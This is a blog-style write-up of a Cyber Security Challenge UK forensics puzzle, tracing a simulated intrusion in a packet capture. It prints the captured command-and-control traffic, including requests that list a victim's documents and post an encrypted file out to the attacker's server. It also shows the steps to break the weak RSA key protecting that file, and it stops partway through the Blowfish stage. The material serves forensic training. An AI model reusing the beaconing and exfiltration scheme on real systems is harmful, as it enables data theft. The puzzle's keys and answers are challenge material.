The brief

Taken from Cyber Security Challenge website:

Our objective with this challenge has been to draw in some concepts from the types of real world intrusions that PwC incident response teams investigate for clients around the globe. In just the last few years we’ve observed huge advances in the techniques used our adversaries – many of these require pretty innovative thinking on an investigators part and we’ve leveraged some of those advances to stress-test the ingenuity of our participants in this challenge.

We aren’t entirely leaving our traditional cipher puzzle heritage behind though, as there are two distinct stages to this challenge. The first involves decoding the attacker’s actions to determine what information they exfiltrated. There are then a series of cryptic clues – effectively a trail of digital breadcrumbs – that you will need to follow to unravel the final prize, which has been provided by the Cyber Security Challenge.

This challenge will put you through your paces across a variety of skills and will provide an opportunity for those of you with a passion and a talent for intrusion investigations to shine. We’re not expecting there to be many people who get through this, and we’ll be prepared to offer some hints and tips on the way, but for those who do, there will be absolutely no doubt that they have the technical skills for successful careers in the cyber security industry.

Enjoy and have fun! <– Yes I did!

Hidden References

Throughout the pcap file there are a number of references to well known subversive groups, attacks and malware which was nice touch by PwC, so I have listed the ones I spotted:

  • WTR4141.exe – file name used by Stuxnet, also a file downloaded in the pcap file.
  • 19790509 – Also from Stuxnet, used in the pcap as a MIME header
  • ETH_POOL_SHD_PQOMGMN_%dSYNCMTX – From Flame, A mutex originally but used as a response from the C&C
  • UglyGorilla.us.to – A reference to one of the members identified in the Mandiant report on APT1
  • worldnews.it.cx – Has a reference comment to UglyGorilla within the HTML source, however, the comment which is <!–!ug:60–> could imply it is not UglyGorilla. The title of the HTML page loaded is “Diplomatic car for sale” which is associated with “The hunt for Red October” a spear fishing attack.

Terminology Used

  • PCAP – Packet capture file
  • C&C – Command and Control.
  • BLUE Text donates input text or commands entered
  • RED Text donates output or responses from commands.

Tools used

  • Wireshark – Packet analysis tool
  • Linux OS commands – ls, more, file etc.
  • Msieve – large integer factoring program
  • Gcc – GNU compiler
  • Hexdump – Dumps file contents in Hexadecimal
  • 7z – All in one zip compression tool
  • Blowfish libraries – C Libraries for developing Blowfish applications
  • RC4 libraries – C Libraries for developing RC4 applications

Methodology

The first step in the analysis is to see what information can be gleaned out of the pcap file. Pcap files contain information gathered from a network device or computer detailing any information that was transmitted over the network from or to that device. It also provides a timeline and providing the file came from a trusted source and device can be used to map a devices timeline.

The methodology I have adopted with the file analysis is:

  1. Analyses the conversations – identify the key “actors” in the trace and define a timeline of activities.
  2. Extrapolate any physical files from the pcap – This allows files to be examined with a specific toolkit
  3. Analyse extracted files – depending on the files extracted, see what other information can be retrieved.
  4. Reverse engineer any files

PCAP Analysis

The first thing to do is open up the pcap file in Wireshark and examine the TCP conversations it has captured, sort them in size order as this will normally show any excessive downloading or uploading (but also be mindful of small one off requests too) and then look for anything suspicious.

Conversations are highlighted by selecting the Statistics menu and then Conversations.

This will produce a list of conversations between devices at various levels of the OSI stack, depending on the data in the pcap file. For this file I was interested in the TCP sessions, so I selected the TCP tab.

Straight away I can see a common address for all conversations, so this is either the attacker or the victim. The first conversation to stick out though is for 64.12.238.38 as this is the top talker with a 25Mb download, so I make a note of the address for later.

The next address to raise suspicion is 176.56.230.101, not only because it is the second most active address but also because there are a lot of small TCP sessions further down the list which is not a typical web browsing pattern. This also needs further examination.

64.12.238.38

The IP address 64.12.238.38 made up the bulk of the data in the pcap file but was it “interesting” data or just an obfuscation technique. The HTTP stream did not have any visible HTTP headers, so the pcap was either corrupt (unlikely) or more likely in this case had been doctored by PwC to only showing part of the TCP stream as you can see below:

So using Wireshark I filtered out the TCP stream and saved it to disk to analyse it from there.

The file was named largefile and analysis of it using exiftool produced the following:
exiftool -a -g1 largefile
—- ExifTool —-
ExifTool Version Number : 9.13
—- System —-
File Name : largefile
Directory : .
File Size : 22 MB
File Modification Date/Time : 2013:04:08 21:59:07+01:00
File Access Date/Time : 2013:04:08 21:59:08+01:00
File Inode Change Date/Time : 2013:04:08 21:59:07+01:00
File Permissions : rw-rw-r–
—- File —-
File Type : MP3
MIME Type : audio/mpeg
—- MPEG —-
MPEG Audio Version : 1
Audio Layer : 3
Audio Bitrate : 96 kbps
Sample Rate : 44100
Channel Mode : Joint Stereo
MS Stereo : On
Intensity Stereo : Off
Copyright Flag : False
Original Media : True
Emphasis : None
—- Composite —-
Duration : 0:31:35 (approx)

Straightaway I could see it was an mp3 media file and opening it up in a media player confirmed this as it contained some soothing hacking music! There is the potential of steganography being used within a file of this type using a tool such as mp3stego, however, this idea was sidelined until more information had been gathered.

176.56.230.101

The next interesting IP address was 176.56.230.101, which not only had a 2nd and 3rd largest TCP sessions but also a number of smaller ones further down. The Conversations window highlights information on the end-to-end TCP conversations in the trace but to get more information I needed to go further up the OSI stack and look at the application being used. This is where I use the Expert Info (Alt-A-I) feature of WireShark.

The key things I see from these “Chats” are that at the bottom are a series of POSTS and GETS to the host 176.56.230.101. I deemed the following as suspicious activity:

Packet # Summary Reason for suspicion
4584 HTTP: GET /WTR4141.exe HTTP/1.1\r\n A file downloaded from the suspicious host IP. WTR4141 is also associated with Stuxnet.
5997 HTTP: GET /update/img0008/911471965431764.jpg?id=xor1 HTTP/1.1\r\n A jpg request with an id parameter of XOR on it is not usual activity for loading an image.
6010 HTTP: GET /update/img0008/911471965431764.jpg?id=xor2 HTTP/1.1\r\n Same as above
6020 HTTP: GET /update/img0008/911471965431764.jpg?id=xor3 HTTP/1.1\r\n Same as above
6030, 9472, 12497, 15477, 18587, 19632, 20750, 23822, 26881, 30401, 31421, 32505, 33516, 34533 HTTP: GET /update/img0008/911471965431764.jpg HTTP/1.1\r\n The same file requested several times but with various responses. The jpg was being used to transport commands from a C&C server.
19644 HTTP: POST /update/img0008/911471965431764.jpg?id=lst HTTP/1.1\r\n The suspicious jpg again, this time with the id requesting a lst which POSTs a directory listing of the local machine to the attackers machine.
27325 HTTP: POST /update/img0008/911471965431764.jpg?id=upl&rsa_e=65537&keytype=rsaencbfkey&blwfsh_key=8390ecc35e0f9dd4ac49855109c0b19d0ebdb1957dd03af637147f749b1099e5 HTTP/1.1\r\n Another suspicious POST but this time the id is upl and some RSA parameters. This was the start of the next level in the challenge.
34543 HTTP: POST /update/img0008/911471965431764.jpg?id=die&securewipe=15 HTTP/1.1\r\n And a final POST by the attacker using the id of die to close the attack and hide all trace.

Table 1: 176.56.230.101

There are a number of ways to analyse these files, you could use Wireshark which provides a useful graphical interface or a command line utility like tcpdump, I prefer a combination of the two, using Linux command line for search and extract and Wireshark for protocol decode.

Extract and analyse files

The next step for me was to extract any files that have been embedded into the pcap. Extracting the files from a pcap file allows me to analyse them with a large suite of tools which speeds up the analysis stage. Wireshark simplifies this process by providing an export feature.

I’m interested in the HTTP files, so select the option to export them, which shows all the files included in the pcap file and as I didn’t have a specific file to extract I just saved them all.

Having the files on disk means we can now view them using a suite of Linux commands.

The export created around 100 files from the pcap to analyse. This is where the analysis can really begin, especially against the files highlighted in Table 1 above. First on my list was the 911471965431764.jpg as it seemed to be used for issuing commands.

Using the Linux file command to identify the file type, confirmed that it was not a .jpg file but a text file (the bracketed numbers are added by Wireshark when duplicate filenames are found). That means something for me to read then…

file 911471965431764.jpg*

#

Filename Content Type

1

911471965431764(10).jpg ASCII text, with no line terminators

2

911471965431764(11).jpg ASCII text, with no line terminators

3

911471965431764(12).jpg ASCII text, with no line terminators

4

911471965431764(13).jpg ASCII text, with no line terminators

5

911471965431764(1).jpg ASCII text, with no line terminators

6

911471965431764(1).jpg%3fid=upl&rsa_e=65537&keytype=rsaencbfkey&blwfsh_key=8390ecc35e0f9dd4ac49855109c0b19d0ebdb1957dd03af637147f749b1099e5 ASCII text, with no line terminators

7

911471965431764(2).jpg ASCII text, with no line terminators

8

911471965431764(3).jpg ASCII text, with no line terminators

9

911471965431764(4).jpg ASCII text, with no line terminators

10

911471965431764(5).jpg ASCII text, with no line terminators

11

911471965431764(6).jpg ASCII text, with no line terminators

12

911471965431764(7).jpg ASCII text, with no line terminators

13

911471965431764(8).jpg ASCII text, with no line terminators

14

911471965431764(9).jpg ASCII text, with no line terminators

15

911471965431764.jpg ASCII text, with no line terminators

16

911471965431764.jpg%3fid=die&securewipe=15 ASCII text, with no line terminators

17

911471965431764.jpg%3fid=lst ASCII text

18

911471965431764.jpg%3fid=upl&rsa_e=65537&keytype=rsaencbfkey&blwfsh_key=8390ecc35e0f9dd4ac49855109c0b19d0ebdb1957dd03af637147f749b1099e5 ASCII text, with very long lines, with CRLF line terminators

19

911471965431764.jpg%3fid=xor1 ASCII text, with no line terminators

20

911471965431764.jpg%3fid=xor2 ASCII text, with no line terminators

21

911471965431764.jpg%3fid=xor3 ASCII text, with no line terminators

To examine the contents of the file simply use a text viewer, I viewed the files with the Linux more command (note: I have reordered some of the files below to make it chronological rather than alphabetical):

more 911471965431764*

# Filename Contents
1 911471965431764.jpg A180
2 911471965431764(1).jpg A180
3 911471965431764(2).jpg A180
4 911471965431764(3).jpg Dwww.pwc.co.uk
5 911471965431764(4).jpg A60
6 911471965431764(5).jpg BC:\Documents and Settings\o.smith1\My Documents
7 911471965431764(6).jpg A180
8 911471965431764(7).jpg A180
9 911471965431764(8).jpg CC:\Documents and Settings\o.smith1\My Documents\CQ Pharma Proposal.zip
10 911471965431764(9).jpg A60
11 911471965431764(10).jpg A60
12 911471965431764(11).jpg A60
13 911471965431764(12).jpg A60
14 911471965431764(13).jpg ETH_POOL_SHD_PQOMGMN_%dSYNCMTX
15 911471965431764.jpg%3fid=xor1 695D4DE5DB35B2193BFE8FCAEBADBC7FA662040C55D8A68D7DD2FE2C1A01EB2E
16 911471965431764.jpg%3fid=xor2 392A0EDF984CD07C49DEDBA299C8DD0B862D746927B9D2E412BC8D165E47A27C
17 911471965431764.jpg%3fid=xor3 6A4D0043211C10452145371D000C150D000C18041E0D1107080B536F0F7C7372
18 911471965431764.jpg%3fid=lst F: C:\Documents and Settings\o.smith1\My Documents\2013 Appraisal.doc
F: C:\Documents and Settings\o.smith1\My Documents\Accounts and Salaries.xls
F: C:\Documents and Settings\o.smith1\My Documents\Competitor pricings.xls
F: C:\Documents and Settings\o.smith1\My Documents\CQ Pharma Projections.ppt
F: C:\Documents and Settings\o.smith1\My Documents\CQ Pharma Proposal.zip
F: C:\Documents and Settings\o.smith1\My Documents\Cupcake Recipe.txt
F: C:\Documents and Settings\o.smith1\My Documents\Hazelnut Torte Recipe.txt
F: C:\Documents and Settings\o.smith1\My Documents\How to connect to VPN.doc
F: C:\Documents and Settings\o.smith1\My Documents\Invitation to a party.pdf
D: C:\Documents and Settings\o.smith1\My Documents\My Music
F: C:\Documents and Settings\o.smith1\My Documents\Novij kontrakt.doc
F: C:\Documents and Settings\o.smith1\My Documents\o.smith1 vpn.crt
F: C:\Documents and Settings\o.smith1\My Documents\Passwords.txt
F: C:\Documents and Settings\o.smith1\My Documents\Project Genesis.pdf
19 911471965431764.jpg%3fid=upl&rsa_e=65537&keytype=rsaencbfkey&blwfsh_key=8390ecc35e0f9dd4ac49855109c0b19d0ebdb1957dd03af637147f749b1099e5 —————————–19790509
Content-Disposition: form-data; name=”file”; filename=”C:\Documents and Settings\o.smith1\My Documents\CQ Pharma Proposal.zip”
Content-Type: text/plain
oLlMa1nC6d8ghkF4SkoiLdWOofCFBBBajwn6q1mtwQgMk6SXOUwXP3KSSWjZrfApoLlMa1nC6d9YlxBleX+sObKu/gVZYzeRK+aXk5NsaFman739B7ssDCk/9Rj7rO3FU
VU1jGvmLE+7EjGDkxis1SbxaoDymOywcHJPMpd5MVH9f/DjFxNh+ZFPLqUawFq/v9xPx482RroL2t+pkpPNiav2iicx8vGNp9fP1s+Is1cARCPffaypreyiKESAzlSiTI
k1LnY+jOG3Q/vOs5JLyja+P6x13p3C5E035jn/ZWKrYw4p4yeLdm0OKVgWXx2WUsfMIDv2NoXeArjjhngc+PR5pN2iO5LvKYD/RNXtxw+boyo9UTvRHtNmD+ivg5Iz9wz
thi0uBBVFMCS8Bh2okxp7Nsk5pudi4M1xCJjDqQgqx7v4Jn5Oj54EV/PSx4R06hVnUyDbQFBapixD7+LRLmfuqUjOZgoqCoLVJhilKUmWZiXiP2QeyJKnIwZe3pOrbxQA
.
. ~ 258K of Base64 encoded data
.
P+Ea+OuYTG9o++QOsoo6dT8qC8gmDsTVp1cMM02Am9gxI+/CJegP5/sT/1wEyv1ng9VrT1YZwnR1pLedRAw4zQ2oaxtUz1HzENLKViuFHsk3HTOLGZ7lIQ/FK+fThd1El
L+yEBtnjonOlGqu5diK1aRZeRCjexUcnx7FNiaZzaTTtKiubQ7dQC6M5v8xUxGyxkGKwjItP2+cBWeRP/uTlkRIr2UsW7qet1Si5gwtu690AHccfLZMmxXkuq37Kw7Tt6
UYvo0n6gsIJe8X7259qQK/SL1OpYS2EvZGDZApwVsp7IBz3qZaznM3Dz4RNWOofCFBBBaW0ezZX8qXjkBK5YcW6b0duwojUSC5qScGzF39t7ujn0gH9ar3DSfi/ZoLIcj
km+NGtp6A/zPdcga2noD/M91yBraegP8z3XILbjPxqfJqXbGMipkm+nT6/g1vOtklktpv4rOpg0GDXaGMzFsBPy4cZfCXCWJB240mp+9/Qe7LAwpP/UY+6ztxf/DkSkwh
Pqnn/5CZVXNMMq1p9No5/hYOzO4tOQ8kSLdJZ4SgzNPi/uV655t/Ufmbw3LIHvCk2yy3Vt0qu3X+Qw=
—————————–19790509– Content-Type: text/plain
oLlMa1nC6d8ghkF4SkoiLdWOofCFBBBajwn6q1mtwQgMk6SXOUwXP3KSSWjZrfApoLlMa1nC6d9YlxBleX+sObKu/gVZYzeRK+aXk5NsaFman739B7ssDCk/9Rj7rO3FU
VU1jGvmLE+7EjGDkxis1SbxaoDymOywcHJPMpd5MVH9f/DjFxNh+ZFPLqUawFq/v9xPx482RroL2t+pkpPNiav2iicx8vGNp9fP1s+Is1cARCPffaypreyiKESAzlSiTI
k1LnY+jOG3Q/vOs5JLyja+P6x13p3C5E035jn/ZWKrYw4p4yeLdm0OKVgWXx2WUsfMIDv2NoXeArjjhngc+PR5pN2iO5LvKYD/RNXtxw+boyo9UTvRHtNmD+ivg5Iz9wz
thi0uBBVFMCS8Bh2okxp7Nsk5pudi4M1xCJjDqQgqx7v4Jn5Oj54EV/PSx4R06hVnUyDbQFBapixD7+LRLmfuqUjOZgoqCoLVJhilKUmWZiXiP2QeyJKnIwZe3pOrbxQA
.
. ~ 258K of Base64 encoded data
.
P+Ea+OuYTG9o++QOsoo6dT8qC8gmDsTVp1cMM02Am9gxI+/CJegP5/sT/1wEyv1ng9VrT1YZwnR1pLedRAw4zQ2oaxtUz1HzENLKViuFHsk3HTOLGZ7lIQ/FK+fThd1El
L+yEBtnjonOlGqu5diK1aRZeRCjexUcnx7FNiaZzaTTtKiubQ7dQC6M5v8xUxGyxkGKwjItP2+cBWeRP/uTlkRIr2UsW7qet1Si5gwtu690AHccfLZMmxXkuq37Kw7Tt6
UYvo0n6gsIJe8X7259qQK/SL1OpYS2EvZGDZApwVsp7IBz3qZaznM3Dz4RNWOofCFBBBaW0ezZX8qXjkBK5YcW6b0duwojUSC5qScGzF39t7ujn0gH9ar3DSfi/ZoLIcj
 

km+NGtp6A/zPdcga2noD/M91yBraegP8z3XILbjPxqfJqXbGMipkm+nT6/g1vOtklktpv4rOpg0GDXaGMzFsBPy4cZfCXCWJB240mp+9/Qe7LAwpP/UY+6ztxf/DkSkwh

Pqnn/5CZVXNMMq1p9No5/hYOzO4tOQ8kSLdJZ4SgzNPi/uV655t/Ufmbw3LIHvCk2yy3Vt0qu3X+Qw=

—————————–19790509–

20 911471965431764(1).jpg%3fid=upl&rsa_e=65537&keytype=rsaencbfkey&blwfsh_key=8390ecc35e0f9dd4ac49855109c0b19d0ebdb1957dd03af637147f749b1099e5 Spasibo – stage 2 complete
21 911471965431764.jpg%3fid=die&securewipe=15 Vrag ubit

Definitely no .jpg data there! So I analysed the content further.

Detailed file analysis

C&C Commands

From my analysis I can see that files 1 – 13 are commands from the C&C centre in response to GET requests instructing the victim’s machine (192.168.1.100) to do something. If you look back into the pcap file with Wireshark you can see that ‘A’ prefixed commands instruct the victim to wait n number of seconds. In the screenshot below packet 23824 is a response with A180 in it, after the normal TCP handshaking has finished, the next SYN (session) in packet 26877 doesn’t start for another 180 seconds.

There were five commands received by the victim in total which I have summarised below:

Command Action

A

Sleep/Delay n seconds

B

Directory to list

C

File to upload

D

Hostname – possibly a proxy

E

A mutex, not sure if it did anything though (taken from Flame) TH_POOL_SHD_PQOMGMN_%dSYNCMTX

XOR

Files 15, 16 and 17 all contained 64 byte hashes, which according to the GET request was XOR. So these were either intended to be XOR’d against each other or some other hashed text. XORing them against each other produced a good result though:
xor1 – 695D4DE5DB35B2193BFE8FCAEBADBC7FA662040C55D8A68D7DD2FE2C1A01EB2E XOR|
xor2 –
392A0EDF984CD07C49DEDBA299C8DD0B862D746927B9D2E412BC8D165E47A27C
Equ1 – 5077433a437962657220546872656174204f7065726174696f6e733a44464952

 

Which when converted from hex to ASCII resulted in (product placement at its best!):

PwC:Cyber Threat Operations:DFIR

Similarly taking the result from the first calculation
Equ1 – 5077433a437962657220546872656174204f7065726174696f6e733a44464952 XOR
xor3 –
6A4D0043211C10452145371D000C150D000C18041E0D1107080B536F0F7C7372
Equ2 – 3a3a4379626572205365637572697479204368616c6c656e676520554b3a3a20

And again when converted from hex to ASCII returned:

::Cyber Security Challenge UK::

That I thought was the end of XORing, however, the product of the second XOR Equ2 comes into play later.

Directory listing

File 18 instructs the victim to list a directory specified, this I assumed was in response to command B as they were the same directories.

Uploaded file

File 19 is the most interesting file, it is a POST request for a Base64 encoded payload which is wrapped up in MIME headers, although from the trace it is not possible to see if they are used, they do make it easier to identify the file in question and to extract it.

The other interesting elements of this POST are in the URI parameters. I separated them out to understand the process.

The first parameter is ?id=upl which I think can safely be interpreted as upload.

The second parameter &rsa_e=65537 implies RSA is used.

The third parameter &keytype=rsaencbfkey implies what sort of encryption is used and what the next parameter is.

The forth parameter &blwfsh_key=8390ecc35e0f9dd4ac49855109c0b19d0ebdb1957dd03af637147f749b1099e5 as the name suggests is the blowfish key which is encrypted with RSA (as per the third parameter).

From this information I can deduce that the uploaded file is Blowfish encrypted and the key for it is RSA encrypted, so, I need to find the RSA key.

See the section Stage 1 – Hunting the RSA key below for the next steps.

Cleanup

Files 20 and 21 is the attacker cleaning up their actions, specifically file 20 is a confirmation of the upload and 21 is a die operation terminating the connection.

Stage 1 – Hunting the RSA key

A typical RSA key is transportable and if stored in PEM format will be base64 encoded, which should be easy to find or at least stick out, in a set of files that should contain HTML.

I initially searched for a 64 byte string, which returned a few results but these did not lead to anything so I reduced the search key down until I reached 20 bytes. At 20 bytes I got around 1000 matches but fortunately spotted something at the top of the list in a file named %2f.
The grep search used is a bit crude but I’ve been using it for years and it does work with a bit of filtering. For this exercise I also excluded the main upload file as I already knew that was Base64 encoded. The command executed from within the capture directory was:
grep –exclude 911471965431764.jpg%3fid\=upl\&rsa_e\=65537\&keytype\=rsaencbfkey\&blwfsh_key\
=8390ecc35e0f9dd4ac49855109c0b19d0ebdb1957dd03af637147f749b1099e5 -aEo “[A-Za-z0-9=+]{20,}” *

The results were a mix of strings but fortunately skipping down the list looking for encoded strings paid off.
%2f(1):cybersecuritychallenge
%2f(2):PricewaterhouseCoopers
%2f(2):Z4RQ1kwwW7nJHKoY4VL71wsz9HyLh
%2f(2):getElementsByTagName
%2f(2):1CA350BBE9E1EF9D394651C
%2f(2):4457C981061A6F0BF3D7C3245C901
%2f(7):PricewaterhouseCoopers
%2f(7):Z4RQ1kwwW7nJHKoY4VL71wsz9HyLh
%2f(7):getElementsByTagName
%2f(7):1CA350BBE9E1EF9D394651C
%2f(7):4457C981061A6F0BF3D7C3245C901
911471965431764.jpg%3fid=xor1:695D4DE5DB35B2193BFE8FCAEBADBC7FA662040C55D8A68D7DD2FE2C1A01EB2E
911471965431764.jpg%3fid=xor2:392A0EDF984CD07C49DEDBA299C8DD0B862D746927B9D2E412BC8D165E47A27C
911471965431764.jpg%3fid=xor3:6A4D0043211C10452145371D000C150D000C18041E0D1107080B536F0F7C7372
applying-to-pwc.jhtml:PricewaterhouseCoopers
applying-to-pwc.jhtml:3b97a01881b94470ca2575550082e4ad
applying-to-pwc.jhtml:pwclhsnorthernireland01
applying-to-pwc.jhtml:urlref=CKeWpHaZPHlZK0ZJWHUc5NIuxSFi5u0jv6b0Xmz393fdBQaisaagoKrmmjzw46neYEATS0b
applying-to-pwc.jhtml:tUDkWj+3xOPUOXwCiuEV
facebook-icon.gif:W5M0MpCehiHzreSzNTczkc9d
facebook-icon.gif:AC6501EE8B8F11E0B9BE9B8F6826762E
facebook-icon.gif:AC6501ED8B8F11E0B9BE9B8F6826762E
facebook-icon.gif:A46487EE2B627715B6738EA7B060AAA1
facebook-icon.gif:A46487EE2B627715B6738EA7B060AAA1
facebook-icon.gif:zyxwvutsrqponmlkjihgfedcba
facebook-icon.gif:ZYXWVUTSRQPONMLKJIHGFEDCBA
feed2js.php%3fsrc=http%3A%2F%2Fpwc.blogs.com%2Fceoinsights%2Frss.xml&num=5&targ=y&utf=y:f418d61a7b7fdcda874d75b8833b6fbb

The first suspect from the list was just some Google meta-data, so I ignored that:
<meta content=”aS9ZpME-Z4RQ1kwwW7nJHKoY4VL71wsz9HyLh–xxMw” name=”google-site-verification”></meta>

The second suspect however was a little more fruitful, hidden within this HTML comment is an ENCODED MODULUS:
<a class=”ukhomeiphone” href=”/uk/en/who-we-are/pwc-uk-iphone-app-download.jhtml”>
<img alt=”Download our Free iPhone app now fro
m iTunes” src=”/en_uk/uk/assets/images/home_page/app-banner-2012.jpg”/></a> <!– END Desktop –>Â
<!– ~~~ENCODED MODULUS~~~
9B8E F736814C 1CA350BBE9E1EF9D394651C 4457C981061A6F0BF3D7C3245C901
~~~ENCODED MODULUS~~~ –><!–END main content area–><br clear=”all”/>
That was easy! I now have a modulus, which is handy if you need to factor some prime numbers, which coincidently are used by RSA ciphers, hmmm! I wonder what uses RSA?

This modulus however is not in plain clothes, it is encoded (if the comment text is to be believed). So I stripped it out and put it in a file called modulus.txt:
9B8EF736814C1CA350BBE9E1EF9D394651C4457C981061A6F0BF3D7C3245C901

A quick wc modulus.txt reveals that it is 65bytes long, take 1byte off for a line feed and you get 64bytes of data, which coincidently is the same length as those XOR hashes from earlier. So I tried XORing the modulus against the result of the last XOR.
Modulus 9B8EF736814C1CA350BBE9E1EF9D394651C4457C981061A6F0BF3D7C3245C901 XOR
Equ2 –
3a3a4379626572205365637572697479204368616c6c656e676520554b3a3a20
Equ4 – a1b4b44fe3296e8303de8a949df44d3f71872d1df47c04c897da1d29797ff321

Converting Equ4 into ASCII didn’t produce anything meaningful this time, so it wasn’t encoded text, perhaps it is the real modulus? This would mean I need to factor the prime numbers out of it. To test this theory I used an application called msieve, which after a couple of minutes produced two equal length numbers for me.
./msieve -v 0xa1b4b44fe3296e8303de8a949df44d3f71872d1df47c04c897da1d29797ff321
Msieve v. 1.51 (SVN unknown)
Mon Mar 25 12:25:39 2013
random seeds: 2beec272 4ac8beaa
factoring 73141645561667140929867559953173149503265104452986975051265537186674138673953 (77 digits)
no P-1/P+1/ECM available, skipping
commencing quadratic sieve (77-digit input)
using multiplier of 1
using generic 32kb sieve core
sieve interval: 12 blocks of size 32768
processing polynomials in batches of 17
using a sieve bound of 922513 (36471 primes)
using large prime bound of 92251300 (26 bits)
using trial factoring cutoff of 26 bits
polynomial ‘A’ values have 10 factors
sieving in progress (press Ctrl-C to pause)
36868 relations (19046 full + 17822 combined from 199798 partial), need 36567
36868 relations (19046 full + 17822 combined from 199798 partial), need 36567
sieving complete, commencing postprocessing
begin with 218843 relations
reduce to 52524 relations in 2 passes
attempting to read 52524 relations
recovered 52524 relations
recovered 41873 polynomials
attempting to build 36867 cycles
found 36867 cycles in 1 passes
distribution of cycle lengths:
length 1 : 19045
length 2 : 17822
largest cycle: 2 relations
matrix is 36471 x 36867 (5.3 MB) with weight 1083693 (29.39/col)
sparse part has weight 1083693 (29.39/col)
filtering completed in 3 passes
matrix is 25952 x 26016 (4.0 MB) with weight 852223 (32.76/col)
sparse part has weight 852223 (32.76/col)
saving the first 48 matrix rows for later
matrix includes 64 packed rows
matrix is 25904 x 26016 (2.8 MB) with weight 650444 (25.00/col)
sparse part has weight 477115 (18.34/col)
commencing Lanczos iteration
memory use: 2.8 MB
lanczos halted after 411 iterations (dim = 25902)
recovered 16 nontrivial dependencies
prp39 factor: 244812861348477887717168145677486749859
prp39 factor: 298765535269627678083540743785695202667
elapsed time 00:02:09

Interestingly I ran the same factorisation again but using my nVidia graphics card doing the maths and the speed was phenomenally quicker. The i5 took two minutes with the nVidia Cuda chipset – 12 seconds for the same results – although it did take about an extra 30 minutes for me to get the nVidia libraries to compile properly but next time I’ll save myself two minutes!

prp39 factor: 244812861348477887717168145677486749859
prp39 factor: 298765535269627678083540743785695202667
elapsed time 00:0:12

Anyhow irrespective of how I calculated them, two equal length prime number are ideal for an RSA key to use but I needed to convert them into a valid key pair before I could use them. After some Googling I came across an online service to do the job for me, granted coding it myself would have been more elegant but why invent the wheel!

To create a PPK pair I need three components, p, q and e. The numbers from msieve are p and q (they are commutative so doesn’t matter which way round you use them) and e can be found in the second parameter of the POST request &rsa_e=65537.

I used a script from this blog http://b3ck.blogspot.co.uk/2011/06/how-to-break-rsa-explicitly-with.html to generate the keys. With the three variables I entered the following URL:

http://math.co.ro/cgi-bin/genpriv?p=244812861348477887717168145677486749859&q=298765535269627678083540743785695202667&e=65537

This request returned a private key:

Llave privada de 244812861348477887717168145677486749859,298765535269627678083540743785695202667 y 65537 by Eduardo Ruiz Duarte (beck) toorandom@gmail.com
—–BEGIN RSA PRIVATE KEY—–
MIGrAgEAAiEAobS0T+MpboMD3oqUnfRNP3GHLR30fATIl9odKXl/8yECAwEAAQIg
bP6uYwKM1K5+lyv1jJo0zjEElRtfUBQO1Iz+CJqWcRkCEQDgxCYpoE/RK5NGpfVp
CM1rAhEAuC099pwVXzYu5OK+HZF4owIRAIZJSo+mIunSgfw8nQGy658CEQCP8SwA
VTSO2TYFRQD48vypAhA4GirBiZhtaJCjiM+/35Z5
—–END RSA PRIVATE KEY—–

I put this in a file called rsa.key and generated a public key from it (just in case I needed it).

openssl rsa -in rsa.key -pubout -out rsa.pub
writing RSA key

Which generated this:
cat rsa.pub
—–BEGIN PUBLIC KEY—–
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAKG0tE/jKW6DA96KlJ30TT9xhy0d9HwE
yJfaHSl5f/MhAgMBAAE=
—–END PUBLIC KEY—–

And just to confirm it had the correct modulus I ran this command:
openssl rsa -in rsa.pub -pubin -text -modulus
Public-Key: (256 bit)
Modulus:
00:a1:b4:b4:4f:e3:29:6e:83:03:de:8a:94:9d:f4:
4d:3f:71:87:2d:1d:f4:7c:04:c8:97:da:1d:29:79:
7f:f3:21
Exponent: 65537 (0x10001)
Modulus=A1B4B44FE3296E8303DE8A949DF44D3F71872D1DF47C04C897DA1D29797FF321
writing RSA key
—–BEGIN PUBLIC KEY—–
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAKG0tE/jKW6DA96KlJ30TT9xhy0d9HwE
yJfaHSl5f/MhAgMBAAE=
—–END PUBLIC KEY—–

Having successful confirmed the PPK matched the original modulus I could (hopefully) decrypt the BFKEY. Not knowing what format the key needed to be in I initial tried it just as a ASCII text string:
hexdump -C bf.key
00000000 38 33 39 30 65 63 63 33 35 65 30 66 39 64 64 34 |8390ecc35e0f9dd4|
00000010 61 63 34 39 38 35 35 31 30 39 63 30 62 31 39 64 |ac49855109c0b19d|
00000020 30 65 62 64 62 31 39 35 37 64 64 30 33 61 66 36 |0ebdb1957dd03af6|
00000030 33 37 31 34 37 66 37 34 39 62 31 30 39 39 65 35 |37147f749b1099e5|

Using openssl I tried to decrypt the bf.key file, however, it was not successful.
openssl rsautl -decrypt -in bf.key -inkey rsa.key -raw -out bf.out
RSA operation error
140632691414880:error:0406506C:rsa routines:RSA_EAY_PRIVATE_DECRYPT:data greater than mod len:rsa_eay.c:584:

This wasn’t a good start but as the error message implies the data is shorter, so next I tried it has a binary.

hexdump -C bf.hex
00000000 83 90 ec c3 5e 0f 9d d4 ac 49 85 51 09 c0 b1 9d |….^….I.Q….|
00000010 0e bd b1 95 7d d0 3a f6 37 14 7f 74 9b 10 99 e5 |….}.:.7..t….|

Again with openssl I tried the key against the Blowfish key:
openssl rsautl -decrypt -in bf.hex -inkey rsa.key -raw -out bf.out
No errors this time, a good sign. So a quick dump of the bytes revealed the key, albeit reversed.
hexdump -C bf.out
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |…………….|
00000010 00 00 00 00 00 00 00 3e 2d 2d 67 75 2d 2d 21 3c |…….>–gu–!<|

So I now have the key: >–gu–!<.

Stage 2 – It’s Blowfish but not as we know it

For the next stage I would need to decode the base64 file that the attacker uploaded, this I placed in a file called CQ Pharma Proposal.zip.bfe (bfe being the standard file extension used by bcrypt for a Blowfish file). I tried decrypting with bcrypt but it didn’t work, so I stuck with openssl.

To decrypt it with openssl I used the following:
openssl enc -d -bf -in CQ\ Pharma\ Proposal.zip.bfe -out CQ\ Pharma\ Proposal.zip.out
enter bf-cbc decryption password: <password>
bad magic number

After trying around a 100+ permutations of the Blowfish key I suspected an IV or salt may have been used but couldn’t find one. At this point @smoothimpact confirmed that it was just a password used but as a standard tool wasn’t getting anywhere there was obviously more obfuscation in the file than just the Blowfish.

Another clue posted on Twitter hinted at endian-ness of the Blowfish, so the next step was to program a custom decryption which I called byteswap (the source code for which can be found in Appendix 1 – Byteswap.c ).

School time! Blowfish is a block cipher, it works on 64 bit blocks split into two 32 bit chunks, which in turn is further broken down into 8 bit quarters. So with this and the endian-ness in mind I set about flipping bytes around.

